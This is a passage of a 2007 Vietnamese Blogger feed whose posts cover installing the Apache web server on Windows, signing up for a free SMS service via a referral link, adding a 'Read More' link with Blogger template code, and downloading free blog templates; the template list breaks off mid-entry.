style="color: blue; text-decoration: underline;" href="http://httpd.apache.org/dist/httpd/binaries/win32"&gt;http://httpd.apache.org/dist/httpd/binaries/win32&lt;/a&gt;&lt;/span&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;File                                  được sử dụng để cài đặt Apache dưới đây là                                  &lt;b&gt;apache_2.0.35-win32-x86-no_ssl.msi&lt;/b&gt;                                  &lt;/span&gt;&lt;/p&gt;                                 &lt;p&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  1&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;:                                  Nháy đúp chuột vào file đã được download ở trên                                  để bắt đầu quá trình cài đặt, chúng ta sẽ quan                                  sát thấy menu sau&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache1.gif" border="0" height="305" width="425" /&gt;&lt;/p&gt;                                 &lt;p align="left"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  2&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click chuột vào nút &lt;b&gt;Next&lt;/b&gt;, trên màn hình                                  sẽ xuất hiện menu sau:&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache2.gif" border="0" height="301" width="423" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  3&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click chuột vào nút “&lt;b&gt;I accept the terms                                  …&lt;/b&gt;” và chọn &lt;b&gt;Next&lt;/b&gt;, một màn hình khác                                  với đầy đủ thông tin hơn về HTTP server xuất                                  hiện.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache3.gif" border="0" height="321" width="430" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  4&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click chuột vào nút &lt;b&gt;Next&lt;/b&gt;, trên màn hình                                  xuất hiện menu sau:&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache4.gif" border="0" height="300" width="429" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Tại                                  trường &lt;b&gt;Network Domain&lt;/b&gt; gõ vào tên miền (ví                                  dụ: ntthanh.dyndns.vn).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Tại                                  trường &lt;b&gt;Server Name&lt;/b&gt; gõ vào địa chỉ website                                  (ví dụ: &lt;a style="color: blue; text-decoration: underline;" href="http://www.ntthanh.dyndns.vn/"&gt;http://www.ntthanh.dyndns.vn/&lt;/a&gt;)&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Tại                                  trường &lt;b&gt;Administrator’s Email Address&lt;/b&gt; gõ                                  vào địa chỉ email của người quản trị web (ví dụ:                                  &lt;a style="color: blue; text-decoration: underline;" href="mailto:thanh@vnnic.net.vn"&gt;thanh@vnnic.net.vn&lt;/a&gt;).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache5.gif" border="0" height="298" width="423" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Bước                                  5&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;:                                  Click &lt;b&gt;Next,&lt;/b&gt; trên màn hình xuất hiện menu                                  sau:&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache6.gif" border="0" height="307" width="424" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Chọn                                  cách cài đặt Apache, chẳng hạn chọn cách cài đặt                                  &lt;b&gt;Typical&lt;/b&gt;, chọn &lt;b&gt;Next&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;                                 &lt;p&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  6:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;                                  Chọn thư mục để cài đặt Apache. Theo mặc định                                  thư mục đó là &lt;b&gt;C:\Program Files\Apache                                  Group\&lt;/b&gt;. Ta có thể thay đổi thư mục cài đặt                                  bằng cách click chuột vào nút &lt;b&gt;Change&lt;/b&gt; và                                  trỏ tới thư mục mong muốn. Sau đó click chuột                                  vào nút &lt;b&gt;Next.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache7.gif" border="0" height="306" width="436" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p align="left"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  7:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt; Để                                  bắt đầu quá trình cài đặt click chuột vào nút                                  &lt;b&gt;Install&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache8.gif" border="0" height="307" width="436" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p align="left"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  8:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt; Sau                                  khi click chuột vào nút &lt;b&gt;Install&lt;/b&gt;, quá                                  trình cài đặt được bắt đầu.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache9.gif" border="0" height="318" width="442" /&gt;&lt;/p&gt;                                 &lt;p align="center"&gt; &lt;/p&gt;                                 &lt;p align="left"&gt;&lt;b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;Bước                                  10:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt; Quá                                  trình cài đặt kết thúc, trên màn hình xuất hiện                                  menu “&lt;b&gt;Installation Wizard Completed&lt;/b&gt;”,                                  click &lt;b&gt;Finish&lt;/b&gt; để kết thúc quá trình cài                                  đặt.&lt;/span&gt;&lt;/p&gt;                                 &lt;p align="center"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/apache10.gif" border="0" height="315" width="442" /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1562865348362697796?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/4TgVw6SAk7E" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/4TgVw6SAk7E/hng-dn-ci-t-webserver-apache.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/hng-dn-ci-t-webserver-apache.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-3914214725393385771</guid><pubDate>Tue, 09 Oct 2007 17:11:00 +0000</pubDate><atom:updated>2007-10-10T00:11:55.333+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Network Tips</category><title>Gửi Tin Nhắn SMS Miễn Phí</title><description>Đây là dịch vụ gửi tin nhắn sms free. đã test, hiện đang sài thấy ngon quá share cho anh em!&lt;br /&gt;thề là kô bị trừ tài khoản nào đâu&lt;br /&gt;Đầu tiên mọi người vào &lt;a href="http://www.romsms.com/?refid=WBA1nyst" target="_blank"&gt;http://www.romsms.com/?refid=WBA1nyst&lt;/a&gt; đăng ký nhé.&lt;br /&gt;- Nhớ chọn language English bằng cách click vào cờ Anh bên tay phải góc trên nhé.&lt;br /&gt;- Đăng kí tên, email, country (chọn Việt Nam nếu bạn ở VN ),..&lt;br /&gt;- Đăng ký sdt của mình theo dạng : 849xxxxxxxx , chú ý là ko phải +849xxxxx VD : số điện thoại tớ là 0983xxxx thì đăng kí sẽ là 84983xxxx&lt;br /&gt;- Sau khi đăng ký pass sẽ đc gửi về máy mình&lt;br /&gt;- Login = pass đó rồi vào Change my details đổi pass cho dễ nhớ.&lt;br /&gt;&lt;br /&gt;Lưu ý nè:&lt;br /&gt;* Khi gửi tin nhớ chọn sender là sdt của mình, mặc định của họ là ROMSMS. Ng` nhận sẽ nhận dc từ chính sdt của mình, chỉ thêm 1 dòng nhỏ là romSMS.com&lt;br /&gt;* Số điện thoại đăng nhập - số điện thoại gửi đi, đều phải có dạng 849xxxx. (84 là mã Việt Nam, 9xxx là số đt bỏ số 0 ở đầu) .&lt;br /&gt;* Khi khởi tạo sẽ đc 5 tin miễn phí, mỗi ngày + 2 tin. Invite 1 người bạn đăng ký thành công qua YM hay mail dc + thêm 5 tin nữa.&lt;br /&gt;&lt;br /&gt;hé hé. cứ phải nói là xì pam bạn bè thoả mái&lt;br /&gt;Đây là tài khoản của mình&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://danglvhbloghack.googlepages.com/danglvhblog_008.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://danglvhbloghack.googlepages.com/danglvhblog_008.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Cell phone: là số máy của mình&lt;br /&gt;Credit là số tin nhắn mà mình được gửi miễn phí&lt;br /&gt;Chúc mọi người vui vẻ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3914214725393385771?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/STya8FezvLU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/STya8FezvLU/gi-tin-nhn-sms-min-ph.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/gi-tin-nhn-sms-min-ph.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-8038679983412510286</guid><pubDate>Fri, 05 Oct 2007 03:35:00 +0000</pubDate><atom:updated>2007-10-05T10:35:45.493+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">For New Bloggers</category><category domain="http://www.blogger.com/atom/ns#">Blog Hack</category><title>Chèn "Read More" hoặc "Đọc Thêm"</title><description>Như bạn thấy mỗi bài đăng trên blog của tôi đều có phần “Read More...” và click vào phần này thì bài viết đầy đủ mới hiển thị ra. Nội dung phía trên tóm tắt bài viết. Sử dụng thủ thuật này giúp blog bạn chuyên nghiệp và trông giống một website hơn. Sau đây là 2 cách để các bạn làm điều đó:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Cách 1:&lt;/span&gt; Nếu bạn sài template NEO&lt;/span&gt;&lt;br /&gt;Vì ở template NEO nó đã hổ trợ cho bạn sẵn tính năng này rồi, nên bạn chỉ việc sài nó thôi. Cách sài như sao:&lt;br /&gt;Mõi lần bạn gửi bài, bạn hãy chép đoạn code sau đây vào khung edit bài viết.&lt;br /&gt;Ở phần "&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;Type Your Sumary Here&lt;/span&gt;&lt;span style="font-size:100%;"&gt;" bạn đánh phần nội dung được hiển thị&lt;br /&gt;"&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;Type Rest of the post here&lt;/span&gt;&lt;span style="font-size:100%;"&gt;" bạn đánh phần còn lại của nội dung được gửi.&lt;/span&gt;&lt;br /&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="4" readonly="readonly" cols="32"&gt;Type your summary here &lt;span id="fullpost"&gt; Type rest of the post here &lt;/span&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;br /&gt;Sau đó bạn chỉ việc gửi đi, và bài viết của bạn sẽ hiển thị giống như bài viết này của mình, khi bấm vào read more nó sẽ hiển thị phần nội dung còn lại của entry và nếu bấm vào Collapse thì nội dung sẽ được tóm gọn lại.&lt;br /&gt;&lt;br /&gt;Để cho dể dàng và đở mất công các bạn phải copy đoạn code đó mõi lần gửi bài. Các bạn có thể để mặc định trong khung edit entry của mình đoạn code đó. Có nghĩa là cứ mõi lần vào edit bài viết thì nó sẽ tự động gán đoạn code trên vào.&lt;br /&gt;Thì bạn làm như sau:&lt;br /&gt;&lt;br /&gt;Đầu tiên bạn vô &lt;span style="font-weight: bold;"&gt;bảng điều khiển&lt;/span&gt; của blog bạn &gt;&gt;&gt; rồi vào &lt;span style="font-weight: bold;"&gt;Settings&lt;/span&gt;(cài đặt) &gt;&gt;&gt; Tiếp đến vào &lt;span style="font-weight: bold;"&gt;Formatting&lt;/span&gt;(định dạng) &gt;&gt;&gt; rồi bạn kéo xuống cuối trang, ở phần &lt;span style="font-weight: bold;"&gt;Post Template&lt;/span&gt;(Định Dạng Bài Gửi) &gt;&gt;&gt;&gt; Bạn copy đoạn code ở trên vào khung này &gt;&gt;&gt; sau đó &lt;span style="font-weight: bold;"&gt;Save&lt;/span&gt; lại.&lt;br /&gt;&lt;br /&gt;Thì kể từ bây giờ cứ mõi khi bạn vào mục edit entry thì đoạn code sẽ có sẵn ở đó cho bạn nhập nội dung vào.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Cách 2:&lt;/span&gt; Cách này dùng cho những template bình thường của d2vn( admin &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.thuthuatblog.com/"&gt;Thủ Thuật Blog&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;) viết.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nguồn bài viết: &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.thuthuatblog.com/search/label/%C4%90%E1%BB%8Dc%20th%C3%AAm"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;BƯỚC 1: SAO LƯU TEMPLATE VÀ CHÈN CSS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sau khi đăng nhập vào blogger.com, click trên Template (Mẫu) -&gt; Edit HTML (Chỉnh sửa HTML) thực hiện &lt;a href="http://thuthuatchoblogger.blogspot.com/2007/07/sao-lu-v-phc-hi-template.html" target="_blank"&gt;sao lưu&lt;/a&gt; template vào máy tính của bạn.&lt;br /&gt;&lt;br /&gt;Sao lưu xong, kéo thanh trượt tìm tag (Có thể bấm Ctrl + F để tìm) và chèn vào phía trên nó đoạn mã dưới và lưu lại.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="32"&gt;&lt;style&gt; &lt;b:if cond="'data:blog.pageType"&gt; span.fullpost {display:inline;} &lt;b:else/&gt; span.fullpost {display:none;} &lt;/b:if&gt; &lt;/style&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;BƯỚC 2: CHÈN LIÊN KẾT “ĐỌC THÊM”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tiếp tục hãy click Expand Widgets Template và kéo thanh trượt để tìm tag&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="1" readonly="readonly" cols="26"&gt;&lt;data:post.body/&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;(Có thể bấm đồng thời Ctrl + F để tìm).  Sau đó chèn đoạn mã này phía dưới nó.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="8" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;a href="'data:post.url'"&gt;Đọc thêm!&lt;/a&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BƯỚC 3: TÙY BIẾN “ĐỌC THÊM”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nếu bạn dùng đoạn mã trên, khi click vào “Đọc thêm!” bài đăng này sẽ được load về trình duyệt và thay thế trang trước đó. Bạn muốn bài đăng được mở ở một cửa sổ mới hãy chèn đoạn mã này.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="8" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Trường hợp bạn muốn chữ “Đọc thêm” lớn hơn hay nhỏ hơn so với các chữ khác của bài hãy chèn đoạn mã dưới. Thay đổi phần trăm để được nhỏ hơn.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;span&gt;&lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt;&lt;/span&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Trường hợp bạn muốn chữ “Đọc thêm” &lt;span style="font-weight: bold;"&gt;in đậm&lt;/span&gt; hãy chèn đoạn mã dưới.&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;span style="font-weight:bold;"&gt;&lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt;&lt;/span&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Trường hợp bạn muốn chữ “Đọc thêm” có màu hãy chèn đoạn mã dưới (ví dụ ở đây là màu đỏ, bạn có thể lấy màu khác: Từ cửa sổ đăng bài Compose, gõ vài ký tự và chọn màu, click Edit Html để lấy mã, chữ có màu sẽ nằm giữa &lt;span&gt;…&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="9" readonly="readonly" cols="26"&gt;&lt;b:if cond="'data:blog.pageType"&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&lt;a href="'data:post.url'" target="'_blank'"&gt;Đọc thêm!&lt;/a&gt;&lt;/span&gt; &lt;/b:if&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Bạn có thể sử dụng kết hợp cả ba.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BƯỚC 4: THAY ĐỔI CÁCH ĐĂNG BÀI&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ở cửa sổ đăng bài, thay vì chọn Compose, hãy chọn Edit Html và cấu trúc bài đăng của bạn như bên dưới.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: center;"&gt;&lt;textarea name="S1" rows="5" readonly="readonly" cols="26"&gt;Phần tóm tắt hay đầu bài đăng &lt;span class="fullpost"&gt; Phần còn lại &lt;/span&gt;&lt;/textarea&gt;&lt;/p&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Xem hình:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;img src="http://i198.photobucket.com/albums/aa172/giangdaytructuyen/thuthuatchoblogger/ex.png" alt="Đăng bài theo có Đọc thêm" border="0" /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="display: inline;" id="fullpost"&gt;&lt;br /&gt;Bài đăng phải nằm trong cấu trúc này. Nếu bạn cảm thấy khó nhớ đoạn code thì hãy vào Settings (Cài đặt) -&gt; Formatting (Định dạng), kéo thanh trượt và tìm Post Template (Mẫu đăng bài), dán đoạn mã vào box kế bên và click Save Settings (Lưu cài đặt) để lưu lại. Mỗi lần đăng bài, đoạn mã này được chèn trước và bạn chỉ việc làm các thao tác để đăng bài.&lt;br /&gt;&lt;br /&gt;Chúc thành công.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8038679983412510286?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/-seHjF-Cjfg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/-seHjF-Cjfg/chn-read-more-hoc-c-thm.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/chn-read-more-hoc-c-thm.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-7580927362489567176</guid><pubDate>Wed, 03 Oct 2007 03:04:00 +0000</pubDate><atom:updated>2007-10-03T10:04:12.583+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Template For Blogger</category><title>Free Templates For Bloggers</title><description>&lt;span style="font-weight: bold;"&gt;Ratatouille&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_AOJK6bFFsUI/RkN4lRDzO_I/AAAAAAAAA_8/0igfv_AcDHw/s800/ratatouille.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp1.blogger.com/_AOJK6bFFsUI/RkN4lRDzO_I/AAAAAAAAA_8/0igfv_AcDHw/s800/ratatouille.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://btemplates.googlepages.com/ratatouille.xml"&gt;Download Template&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Shrek the Third&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_AOJK6bFFsUI/RkEUDxDzO9I/AAAAAAAAA_Y/WghrTbMgFZA/s200/shreck.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp1.blogger.com/_AOJK6bFFsUI/RkEUDxDzO9I/AAAAAAAAA_Y/WghrTbMgFZA/s200/shreck.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;» &lt;a href="http://btemplates.googlepages.com/shreck.xml"&gt;Download XML&lt;/a&gt; «&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;At World's End, Pirates of the Caribbean 3 template&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_AOJK6bFFsUI/RkG7-RDzO-I/AAAAAAAAA_k/uSkf6ygHYb0/s800/pirates.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp3.blogger.com/_AOJK6bFFsUI/RkG7-RDzO-I/AAAAAAAAA_k/uSkf6ygHYb0/s800/pirates.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;» &lt;a href="http://btemplates.googlepages.com/Pirates3.xml"&gt;Download XML&lt;/a&gt; «&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Colibri&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_AOJK6bFFsUI/Rh7SVSlquoI/AAAAAAAAA6M/PKjda5FElg0/s200/colibri.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://bp3.blogger.com/_AOJK6bFFsUI/Rh7SVSlquoI/AAAAAAAAA6M/PKjda5FElg0/s200/colibri.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;» &lt;a href="http://btemplates.googlepages.com/colibri.xml"&gt;Download XML&lt;/a&gt; «&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;New Blogger Template 3 Column : Nyoba 780&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_Dq9hC1R9GJc/RepyNssRZGI/AAAAAAAAAWc/0U9Ldh8enfc/s1600-h/nyoba-780.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_Dq9hC1R9GJc/RepyNssRZGI/AAAAAAAAAWc/0U9Ldh8enfc/s320/nyoba-780.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964712828036194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://isnaini.googlepages.com/template-nyoba-780.xml"&gt;Download Template&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;New Blogger Template 3 Column : Nyoba&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_Dq9hC1R9GJc/Repxk8sRZFI/AAAAAAAAAWM/A9o7IYZdPOA/s1600-h/nyoba.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_Dq9hC1R9GJc/Repxk8sRZFI/AAAAAAAAAWM/A9o7IYZdPOA/s320/nyoba.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964012748366930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://isnaini.googlepages.com/template-nyoba.xml"&gt;Download Template&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Harry Potter&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/2931/623/400/harrytemp.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; 